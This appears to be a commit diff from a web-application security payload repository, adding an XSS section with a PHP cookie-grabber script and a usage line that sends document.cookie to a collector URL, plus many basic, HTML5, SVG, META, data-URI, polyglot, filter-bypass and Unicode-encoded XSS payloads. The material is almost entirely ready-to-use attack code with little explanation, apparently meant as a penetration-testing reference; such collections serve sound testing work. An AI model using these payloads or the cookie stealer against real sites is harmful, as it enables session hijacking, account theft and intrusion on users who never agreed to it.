XSS payloads

README.md

@@ -2,8 +2,7 @@
 A list of usefull payloads and bypasses for Web Application Security
 
 TODO:
-* XSS
+* PHP Include
-* Traversal Directory
 * PHP Serialization
 * CSV Injection
 
@@ -14,5 +13,10 @@ To improve:
 * SSRF
 * Upload
 * Tar command exec
+* Traversal Directory
+* XSS
 
-# /!\ Work in Progress : 1%
+TODO v2:
+* Remove "_" in dir name
+
+# /!\ Work in Progress : 40%

XSS/Cookie Grabber XSS.php

@@ -0,0 +1,11 @@
+<?php 
+// How to use it
+# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
+
+// Write the cookie in a file
+$cookie = $_GET['c'];
+$fp = fopen('cookies.txt', 'a+');
+fwrite($fp, 'Cookie:' .$cookie.'\r\n');
+fclose($fp);
+
+?>

XSS/Flash XSS.md

@@ -0,0 +1,8 @@
+XSS in flash application
+```
+ \%22})))}catch(e){alert(document.domain);}// 
+
+ "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// 
+
+ "a")(({type:"ready"}));}catch(e){alert(1)}// 
+```

XSS/Polyglot XSS.md

@@ -0,0 +1,19 @@
+Polyglot XSS - 0xsobky
+```
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+```
+
+Polyglot XSS - Ashar Javed
+```
+ ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+```
+
+Polyglot XSS - Mathias Karlsson
+```
+" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// 
+```
+
+Polyglot XSS - Rsnake
+```
+';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> 
+```

XSS/README.md

@@ -1,12 +1,198 @@
-# Title
+# Cross Site Scripting
-Lorem	
+Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.	
 
-## Vuln
+## Exploit code or POC
 
+Cookie grabber for XSS
 ```
-Code
+<?php 
+// How to use it
+# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
+
+// Write the cookie in a file
+$cookie = $_GET['c'];
+$fp = fopen('cookies.txt', 'a+');
+fwrite($fp, 'Cookie:' .$cookie.'\r\n');
+fclose($fp);
+
+?>
 ```
 
+## XSS in HTML/Applications 
+XSS Basic
+```
+Basic payload
+<script>alert('XSS')</script>
+<scr<script>ipt>alert('XSS')</scr<script>ipt>
+"><script>alert('XSS')</script>
+"><script>alert(String.fromCharCode(88,83,83))</script>
+
+Img payload
+<img src=x onerror=alert('XSS');>
+<img src=x onerror=alert(String.fromCharCode(88,83,83));>
+<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
+<img src=x:alert(alt) onerror=eval(src) alt=xss>
+"><img src=x onerror=alert('XSS');>
+"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
+
+Svg payload
+<svgonload=alert(1)>
+<svg/onload=alert('XSS')>
+<svg/onload=alert(String.fromCharCode(88,83,83))>
+<svg id=alert(1) onload=eval(id)>
+"><svg/onload=alert(String.fromCharCode(88,83,83))>
+"><svg/onload=alert(/XSS/)
+```
+
+XSS for HTML5
+```
+<input autofocus onfocus=alert(1)>
+<select autofocus onfocus=alert(1)>
+<textarea autofocus onfocus=alert(1)>
+<keygen autofocus onfocus=alert(1)>
+<video/poster/onerror=alert(1)>
+<video><source onerror="javascript:alert(1)">
+<video src=_ onloadstart="alert(1)">
+```
+
+
+XSS in META tag
+```
+Base64 encoded
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+
+<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
+
+With an additionl URL
+<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
+```
+
+XSS in flash application
+```
+ \%22})))}catch(e){alert(document.domain);}// 
+
+ "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// 
+
+ "a")(({type:"ready"}));}catch(e){alert(1)}// 
+```
+
+
+
+## XSS in wrappers javascript and data
+XSS with javascript:
+```
+javascript:prompt(1)
+
+%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
+
+&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
+```
+
+XSS with data:
+```
+data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
+```
+
+
+## XSS in files
+XSS in XML
+```
+<html>
+<head></head>
+<body>
+<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
+</body>
+</html>
+```
+
+
+XSS in SVG
+```
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+   <script type="text/javascript">
+      alert(document.domain);
+   </script>
+</svg>
+```
+
+XSS in SVG (short)
+```
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
+```
+more payloads in ./files
+
+
+## Polyglot XSS
+Polyglot XSS - 0xsobky
+```
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+```
+
+Polyglot XSS - Ashar Javed
+```
+ ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+```
+
+Polyglot XSS - Mathias Karlsson
+```
+" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// 
+```
+
+Polyglot XSS - Rsnake
+```
+';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> 
+```
+
+
+## Filter Bypass and exotic payloads
+```
+<script>$=1,alert($)</script>
+<script ~~~>confirm(1)</script ~~~> 
+<script>$=1,\u0061lert($)</script>
+<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
+<</script/script><script ~~~>\u0061lert(1)</script ~~~>
+</style></scRipt><scRipt>alert(1)</scRipt>
+<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
+<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
+<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
+<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
+```
+
+Using Unicode
+```
+Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
+transformed into U+003C LESS­THAN SIGN (<)
+
+Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
+transformed into U+0022 QUOTATION MARK (")
+
+Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
+transformed into U+0027 APOSTROPHE (')
+
+Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
+transformed into U+003C LESS­THAN SIGN (<)
+
+Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
+transformed into U+0022 QUOTATION MARK (")
+
+Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
+transformed into U+0027 APOSTROPHE (')
+
+E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
+
+%C0%BE = >
+%C0%BC = <
+%CA%BA = "
+%CA%B9 = '
+%EF%BC%9E becomes >
+%EF%BC%9C becomes <
+```
+
+
 ## Thanks to
-* Lorem
+* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
-* Ipsum
+* tbm

XSS/Wrapper JS and Data XSS.md

@@ -0,0 +1,13 @@
+XSS with javascript:
+```
+javascript:prompt(1)
+
+%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
+
+&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
+```
+
+XSS with data:
+```
+data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
+```

XSS/XML XSS basic.html

@@ -0,0 +1,6 @@
+<html>
+	<head></head>
+	<body>
+		<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
+	</body>
+</html>

XSS/files/SVG Picture XSS.svg

@@ -0,0 +1,9 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+   <script type="text/javascript">
+      alert(document.domain);
+   </script>
+</svg>